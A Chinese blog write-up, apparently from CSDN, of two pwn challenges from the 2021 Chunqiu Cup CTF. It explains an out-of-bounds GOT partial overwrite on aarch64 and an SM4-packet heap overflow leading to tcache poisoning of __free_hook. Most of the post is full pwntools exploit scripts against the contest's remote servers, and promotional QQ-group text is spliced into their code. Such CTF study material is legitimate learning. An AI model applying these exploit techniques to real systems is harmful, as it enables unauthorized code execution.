2021春秋杯pwn题目大解析

pwn入门之栈溢出练习 本文原创作者:W1ngs,本文属i春秋原创奖励计划,未经许可禁止转载!前言:最近在入门pwn的栈溢出,做了一下jarvisoj里的一些ctf pwn题,感觉质量都很不错,难度循序渐进,把自己做题的思路和心得记录了一下,希望能给入门pwn的朋友带来点帮助和启发,大牛轻喷题目链接:https://www.jarvisoj.com/challenges1、level0(64位) 代码  也就是输出Hel... 阅读详情

目录

dou_like_pwn

libc

漏洞

思路

exp

双边协议@1.5

程序分析

漏洞

思路

EXP


dou_like_pwn​​​​​​​

libc

2.27的libc

ld在这里下载

http://archlinux.arkena.net/archive/packages/a/aarch64-linux-gnu-glibc/

漏洞

功能2只检查了a1<=2, a1可以是负数, 因此产生越界

思路

PtrArr前面一个回环指针

先Read2B修改这个回环指针的最低2B, 得到任意指针, 然后再利用这个任意地址去修改任意位置2B

所以read功能就是elf任意写2B, 刚好2次

elf任意写, 而且还可以写入GOT, 那么首先想到的就是打GOT

最简单的思路就是partial overwrite GOT为OGG

由于低12bit固定, 所以要找除了低2B以外, 高位都相同的OGG与GOT, 这样只要覆盖最低2B, 猜0.5B即可

最终找到的是这两个

并且恰好满足$x2=0

exp

#! /usr/bin/python
# coding=utf-8
import sys
import os
from pwn import *
from random import randint
context.log_level = 'debug'
context(arch='aarch64', os='linux')+QQ群:581499282资料分享

debug = 0
gdb_port = 1234
file_name = './pwn'

elf = ELF(file_name)
libc=ELF('./libc.so.6')

def Log(name):    
    log.success(name+' = '+hex(eval(name)))

if(len(sys.argv)==1):            #local
    if(debug):
        cmd = ['qemu-aarch64', '-g', str(gdb_port), '-L', '/usr/aarch64', file_name]        
    else:
        cmd = ['qemu-aarch64', '-L', '/usr/aarch64', file_name]
    sh = process(cmd)

else:                            #remtoe
    sh = remote('47.104.148.36', 11432)

def INT():
    log.success('send SIGINT')
    os.system('kill -INT %d'%(sh.pid))

def Num(n):
    sh.sendline(str(n))

def Name(name):
    sh.recvuntil('hello! tell me you name:')
    sh.send(name)

def Pwd(pwd):
    sh.recvuntil('admin passwd:')
    Num(pwd)

def Cmd(n):
    Num(n)

def Allocate(size):
    Cmd(1)
    sh.recvuntil('size:\n')
    Num(size)

def Edit(idx, cont):
    Cmd(2)
    sh.recvuntil('idx:\n')
    Num(idx)
    sh.send(cont)

def ChangePwd(l, pwd):    
    Cmd(3)
    sh.recvuntil('len:')
    sh.send(str(l))
    sh.recvuntil('\n\n')
    sh.sendline(str(pwd))

def Addr(base, guess):
    return base | (guess<<12)

Name('A'*0x8)
Pwd(0)
ChangePwd(2, 1)

Allocate(0x20)
Edit(-2, p8(0x50))
Edit(-2, p16(Addr(0xe80, randint(0, 0xF))))

Cmd(11)
#INT()

sh.interactive()

'''
gdb-multiarch
file ./pwn
file ./libc.so.6
set architecture aarch64
target remote localhost:1234

proc_base:        0x4000000000
PtrArr:            telescope 0x12090+0x0000004000000000
GOT:            telescope 0x12000+0x0000004000000000 30
puts(GG):        break *(0xE70+0x4000000000)

libc.address:    0x4000864000

0x3f150 execve("/bin/sh", sp+0x70, environ)
constraints:
  address x20+0x338 is writable
  x3 == NULL

0x3f174 execve("/bin/sh", sp+0x70, environ)
constraints:
  addresses x19+0x4, x20+0x338 are writable
  [sp+0x70] == NULL

0x3f198 execve("/bin/sh", x21, environ)
constraints:
  addresses x19+0x4, x20+0x338 are writable
  [x21] == NULL || x21 == NULL

0x63e80 execl("/bin/sh", x1)
constraints:
  x1 == NULL

'''

双边协议@1.5

程序分析

接收包

  • 包结构
8B:   maigc   =0x2F62696E2F2F7368
8B:   packet_len  =cont_len+0x20+0x10
8B:   head_len  = 0x10
8B:   cont_len
0x10B:  head   = 加密用的Key
cont_len: content

但是发现content并不是明文, 所以继续逆向
发现特殊值, 确定是sm4加密

构造包时先生成了0x10B的随机数, 然后每0x20为一个单位, 调用Sm4Enc进行加密
最后把加密的key写入包的Head字段中

加密的具体过程为: 先前16B 后16B分别进行加密, 然后进行一个换位变换

因此得到包解析算法

发送包

也还是类似的
在发包时注意, base64要求必须与3对齐, 所以最后发送base64结果时有一个与3对齐操作, 使用=作为padding

漏洞

思路

这题堆环境太复杂了, 只能一点点的去尝试

从过泄露chunk上残留的内容, 泄露libc地址, 发现是2.27的libc

然后各种尝试, 以0x20的单位去分配, 目标是使得第一字节残留的数据可以产生堆溢出

也就是Edit计算chunk size时, 让*ptr_6不为0 , 也不能为太大的数字, 否则会溢出

然后就是堆溢出打Tcache了

上次hmg的双边协议把我打自闭了, 这次一血算是除了心魔, 再也不怕misc-pwn了

EXP

#! /usr/bin/python
# coding=utf-8
import sys
from pwn import *
from random import randint
from sm4 import SM4Key

#context.log_level = 'debug'
context(arch='amd64', os='linux')

elf = ELF('./pwn')
libc=ELF('./libc-2.27.so')


def Log(name):+QQ群:581499282资料分享    
    log.success(name+' = '+hex(eval(name)))

if(len(sys.argv)==1):            #local
    sh = process('./pwn')
    proc_base = sh.libs()['/home/parallels/pwn']
else:                            #remtoe
    sh = remote('47.104.148.36', 24312)

Magic = 0x2F62696E2F2F7368
MyKey = 'A'*0x10

def Num(n):
    sh.sendline(str(n))

def Sm4Dec(enc, key):
    g1 = ''
    g2 = ''
    for i in range(0x20):
        if(i%2==0):
            g1+=enc[i]
        else:
            g2+=enc[i]
    enc = SM4Key(key)
    res = enc.decrypt(g1) + enc.decrypt(g2)
    return res

def DecPacket(s):
    packet = base64.b64decode(s)
    magic = u64(packet[0:8])
    packet_len = u64(packet[8:0x10])
    head_len = u64(packet[0x10:0x18])
    cont_len = u64(packet[0x18: 0x20])
    Key = packet[0x20: 0x30]
    enc_cont = packet[0x30: 0x30+cont_len]
    cont = ''
    for i in range(0, cont_len, 0x20):
        group = enc_cont[i: i+0x20]
        cont+= Sm4Dec(group, Key)
    return cont

def Sm4Enc(cont, key):
    g1 = cont[0:0x10]
    g2 = cont[0x10:0x20]
    enc = SM4Key(key[0:0x10])
    g1 = enc.encrypt(g1)
    g2 = enc.encrypt(g2)
    res = ''
    for i in range(0x10):
        res+= g1[i]
        res+= g2[i]
    return res

def Packet(head_len, head, cont_len, cont):
    packet_len = head_len+cont_len+0x20
    packet = flat(Magic)
    packet+= flat(packet_len, head_len, cont_len)
    packet+= head
    for i in range(0, len(cont), 0x20):
        packet+= Sm4Enc(cont[i: i+0x20], head)
    res = base64.b64encode(packet)
    if(len(res)%3 != 0):
        res+= '='*(3-(len(res)%3))    
    return res

def Getline():
    res = DecPacket(sh.recvline())
    print(res)
    return res

def SendPacket(head_len, head, cont_len, cont):
    print("Send: "+cont)
    sh.send(Packet(head_len, head, cont_len, cont))

def SendCont(cont):
    SendPacket(0x10, MyKey, len(cont), cont)

def Cmd(n):
    Getline()
    Getline()
    Getline()
    Getline()
    Getline()
    SendCont(str(n).ljust(0x20, '\x00'))

def Add(size, cont):
    Cmd(1)
    Getline()
    SendCont(str(size).ljust(0x20, '\x00'))
    Getline()
    SendCont(cont)

def Free(idx):
    Cmd(2)
    Getline()
    SendCont(str(idx).ljust(0x20, '\x00'))

def Edit(idx, cont):
    Cmd(4)
    Getline()
    SendCont(str(idx).ljust(0x20, '\x00'))
    Getline()
    SendCont(cont)

def Show(idx):
    Cmd(5)
    Getline()
    SendCont(str(idx).ljust(0x20, '\x00'))

#leak addr
Add(0x370, 'A'*0x40)
Show(0)
res = Getline()
libc.address = u64(res[0:8])-0x3ec3a0
Log('libc.address')

heap_addr = u64(res[0x10:0x18])
Log('heap_addr')

Free(0)

Add(0x80, 'B'*0x20)
Add(0x80, 'C'*0x20)
Add(0x80, 'D'*0x20)

Edit(1, 'X'*0x80+flat(0, 0x111, 0xdeadbeef, 0xdeadbeef))
Free(2)
Edit(1, 'X'*0x80+flat(0, 0x111, libc.symbols['__free_hook']-0x8, 0xdeadbeef))

Free(0)
Free(1)

#gdb.attach(sh, '''
#telescope 0x2080e0+0x0000555555554000
#heap bins
#''')

exp = '/bin/sh\x00'
exp+= p64(libc.symbols['system'])
exp = exp.ljust(0x100, 'G')
Add(0x100, exp)



sh.interactive()


'''
PtrArr                    telescope 0x2080e0+0x0000555555554000
RecvContLen:            telescope 0x203078+0x0000555555554000
Edit: 
    read cont pakcet:     break *(0xc5D+0x0000555555554000)
    pow(256.0, ...):    break *(0xc2e+0x0000555555554000)
RecvPacket:
    SM4Dec:                break *(0x1849+0x0000555555554000)
'''

 ​

看到这里的大佬,动动发财的小手 点赞 + 回复 + 收藏,能【 关注 】一波就更好了

我是一名渗透测试工程师,为了感谢读者们,我想把我收藏的一些CTF夺旗赛干货贡献给大家,回馈每一个读者,希望能帮到你们。

干货主要有:

①1000+CTF历届题库(主流和经典的应该都有了)

②CTF技术文档(最全中文版)

③项目源码(四五十个有趣且经典的练手项目及源码)

④ CTF大赛、web安全、渗透测试方面的视频(适合小白学习)

⑤ 网络安全学习路线图(告别不入流的学习)

⑥ CTF/渗透测试工具镜像文件大全

⑦ 2021密码学/隐身术/PWN技术手册大全

各位朋友们可以关注+评论一波 然后点击下方   即可免费获取全部资料

→【资料获取】←

glibc-2.27.tar.gz glibc的2.27的源码,如果想要研究堆块的,可以看本文的博客:https://blog.csdn.net/qq_41453285/category_9150569.html 立即下载

相关推荐

官网-linux-glibc-2.27.zip

Linux下的C函数库,libc是Linux下的ANSI C的函数库,本人是为了解决 unable to open file not found fie:///build/glibc-OTsEL5/glibc-2.27/....的问题下载的. zip包内的tar包放在linux系统/build/glibc-OTsEL5下,解压tar包,解决问题

部署ctf pwn题目的时候遇到的坑+经验总结

前言 还是第一次部署pwn题目,这次一共使用了两个项目一个是ctfd,另一个是ctf-xinetd。重点大概记录一下两个东西咋用。 ctfd 编辑首页部分 目录栏里面的page xinetd 部署题目 在bin目录下放好binary和flag(或者flag.txt以及其他的,用户ls之后就能看到这个文件夹的内容) 修改ctf.xinetd文件中如下图所示的部分为可执行文件名称,也就是pwn题目的binary文件 启动docker,使用的命令就是README中的 sudo docker build -

weixin_46521144的博客 3833

pwn题目中的libc-2.27.so文件

做pwn题,有些时候题目不给这个文件,这里是这个库的文件。

2022柏鹭杯pwn复现

2022柏鹭杯pwn

m0_63437215的博客 1544

VS2022打包C#安装包(最新、最全)

VS2022打包C#安装包(最新、最全)

qq_37959253的博客 9902

WAVE格式

一.wave格式概述 Wave文件格式是用于多媒体文件存储的Microsoft RIFF(Resource Interchange FileFormat)的一个子集。每一个RIFF文件以一个文件头开始,后面是一系列数据块。Wave文件通常是包含“WAVE”块的RIFF文件。而该“WAVE”块由两个子块组成,称为“fmt”块。“fmt”块用于确定数据格式,并且“data”块包含实际的样本数据,

yejia1280的博客 4389

glibc2.27-malloc(1)

文章目录测试代码第一次进入__libc_malloc__libc_malloc调用malloc_hook_inimalloc_hook_ini调用ptmalloc_initptmalloc_init调用malloc_init_state从malloc_init_state返回到ptmalloc_init从ptmalloc_init返回到malloc_hook_ini小小总结第二次调用__libc_malloc__libc_malloc调用tcache_inittcache_init调用_int_malloc

azraelxuemo的博客 976

告别零碎资料!手把手教你搞定ASTER L1T数据的预处理全流程(附ENVI实操)

本文详细介绍了ASTER L1T数据的预处理全流程,包括数据获取、质量检查、ENVI实操步骤(辐射定标、大气校正、几何精校正)以及热红外波段深度处理。特别适合地信领域初学者和研究人员,帮助快速掌握ASTER L1T数据处理技巧,提升定量反演研究效率。

weixin_30385925的博客 355

[总结型]记CTF PWN中过气的堆利用

目录前言不再好用的unsorted bin attack不可能的tcache double free 前言 how2heap(https://github.com/shellphish/how2heap)可以说是目前"权威"的glibc中的heap exploitation techniques文档。在学术界近年的一些顶会文章也有引用这个github项目。 攻防对抗是一直持续发展的,很容易在学习中,复现一些过时的攻击技术出现困难,原因就是已经有补丁打上了。本文大致总结一些在比赛中常见的过时技术,持续更新…吧

easy_level1的博客 2227

读取rosbag中的IMU信息并转为tum格式的csv和txt

rostopic -b xx.bag -p /xx > xxx.txt #for euroc structvio import os, sys,re,csv name="street_07" # basedir="/media/yinjie/2498AF1F98AEEF0C/adataset/15results/imu_bagtxt/"+name+'.txt' # txtdir="/media/yinjie/2498AF1F98AEEF0C//adataset/15results/imu_o

qq_42928559的博客 1919

BLDC方波控制双闭环Simulink仿真模型

无刷直流电机方波控制双闭环Simulink仿真模型搭建详细教程,包括速度PI环、电流PI环、换向逻辑和受控电压源,仿真结果良好。

m0_57458432的博客 6870

【pwn】SWPUCTF_2019_p1KkHeap

libc-2.27.so下的一道tcache堆题。 例行检查 保护全开。 分析程序,在进入菜单之前,有一个函数跟入查看。 注意到这边用mmap函数在0x66660000映射了一块大小为0x1000的内存空间,权限是rwx。然后用prctl函数做了一个沙箱。我们查看以下禁用了什么调用。 可见execve被禁用,于是system函数和onegadget都不可行。于是就只能自己将shellcode(or...

Nothing 866

爆改YOLOv8 | PSA注意力机制融合入YOLOv8

yolov8,PSA注意力,即插即用

weixin_43986124的博客 2497

2022春秋杯:chunzhiIot

题目 2022年春秋杯:chunzhiIot 一道vmpwn题,和今年(2022年)的国赛一道题类似 保护 $ checksec pwn [*] '/home/hnhuangjingyu/chunqiubei/chunzhiIot/pwn' Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled $

csdn546229768的博客 610

22h2版本的win10安装Docker Desktop时页面空白

摘要:Windows10 22H2系统重装Docker时出现安装界面卡死问题,通过管理员CMD执行静默安装命令解决。命令指定了WSL-2后端及多个自定义数据存储路径(安装目录、Hyper-V数据、Windows容器数据、WSL数据),安装需等待几分钟。最终验证安装成功。

猿小白的博客 658

将任意文件转换为Pcap网络数据包传输

一款实用的工具用于将任意文件转换为pcap网络数据包

村中少年的专栏 3188

pwn零基础入门

pwn零基础入门 很多初学者在初学pwn的时候,对pwn可能存在许多疑问,学什么,怎么学,今天和大家分享一下刚学pwn的一些资料的学习历程。 首先分享一下pwn的一系列学习资料 一、首先语言基础得打牢,1、汇编语言,《汇编语言—王爽》2、编程语言(C语言和python)C语言必须要会,题目大部分是用C语言写的,而且很多那些知识都要读libc的源代码。会python,exp用python写的,CTF...

weixin_45948183的博客 1万+

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

[春秋杯冬季赛2025] pwn复现

看了不少WP,终于把这些重走了一遍。学到不少。

weixin_52640415的博客 1243

jdk-8u144-linux-x64.tar.gz.

该资源为搭建Linux系统Java环境用,资源的后缀为tar.gz格式的压缩包

OV9734 DATASHEET,完整规格书

OV9734完整规格书,包括电气参数,尺寸规格,寄存器配置表等

2024年春秋杯夏季赛pwn-Writeup

当我们输入3的时候就会进入sub_1CFB函数中,我们进入函数发现他会将我们输入的第一个字节的数取出来作为funcs_1B86函数的偏移,然后在a1 x02808的地方加一。4、第三个参数,我们要算偏移,然后我们输入的第三个参数加上0x502,之后可以得到我们第四个字节的内容(我们通过观察,我们只要让最后的数值为0x104就可以拿到第四字节的)我们进入sub_189C函数,发现他会在我们输入的数值最后加上一个\x00,我们就可以通过这个特性来绕过密码的判断,因为是通过strlen来判断长度的,

x528935893的博客 2566

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

2025春秋杯网络安全联赛冬季赛-day2

摘要:本文整理了多个CTF赛题的技术解法,涵盖AI角色扮演、SQL盲注、AES加密破解、LCG算法逆向、SSRF漏洞、NoSQL注入、格式化字符串攻击和恶意包上传等技巧。其中"窥探内心"利用AI角色扮演特性获取系统标识码,"失灵的遮盖"通过逆向AES加密映射表解密数据,"Talisman"使用格式化字符串漏洞修改内存值,"Internal_maneger"通过构造恶意Python包实现远程代码执行。这些解法展示了多种安全漏洞的利

Welcome To My6n Blog 1356

2023年春秋杯网络安全联赛冬季赛 Writeup

2023年春秋杯网络安全联赛冬季赛 Writeup

末初 · mochu7 6683

i春秋答题欢乐赛3 pwn

emem确实很欢乐的 第一个题是直接布置shellcode然后跳过去执行即可 from pwn import * local=0 if local==1: p=process('./2') elf=ELF('./2') else: p=remote('120.55.43.255',11002) elf=ELF('./2') def exp(): p.recvuntil('ID:') ...

doudoudedi 365

差异基因p为0_【i春秋杯网络安全联赛WriteUp】为逆行者加油

投稿:Venom配图:sixwhale继ChaMd5使用京东公益捐款后ChaMd5安全团队的Venom战队联合i春秋公益赛继续捐款,恭喜此次团队pcat、line担任专家,下面针对团队出的五道题进WP分享。Misc磁盘套娃 | Adolph解题思路通过题目描述了解题目“一个熟悉的格式却是一个神秘的磁盘,磁盘内隐藏着某种不为人知的秘密”,解压题目压缩包发现是一个vhd格式文件,于是对该磁盘...

weixin_39926311的博客 347

170629 Pwn-XCTF决赛的Pwn视频分析

1625-5 王子昂 总结《2017年6月29日》 【连续第270天总结】 A. XCTF总决赛 Pwn B. 看二进制指导的时候误打误撞看了一个Pwn的视频writeup,不过技术原理上与逆向相同的,区别只在于Pwn主要对程序的反编译来找到程序的漏洞(如栈溢出、逻辑BUG等)从而获取隐藏的flag,而Reverse是拆解理解程序的功能来获得flag 本题比较简单,是通过栈溢出的漏洞;环

whklhhhh的博客 1244

i春秋上的几道pwn题

01.pwnme-50: Tag: fmtstr任意读 / 整型溢出 / ret2csu_init #encoding:utf-8 from pwn import * #context.log_level = 'debug' def leak(addr): io.sendafter('>', '2') io.sendafter('username...

sopora的博客 1936
上一篇: 去字节上班了!5个月时间,设计专业成功转行安全!
下一篇: 昨晚破解隔壁少妇的WIFI,看到密码后我果断敲门!(详细图文教程)
AI小模型
博客等级 码龄6年 6863粉丝 487原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

AI小模型

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值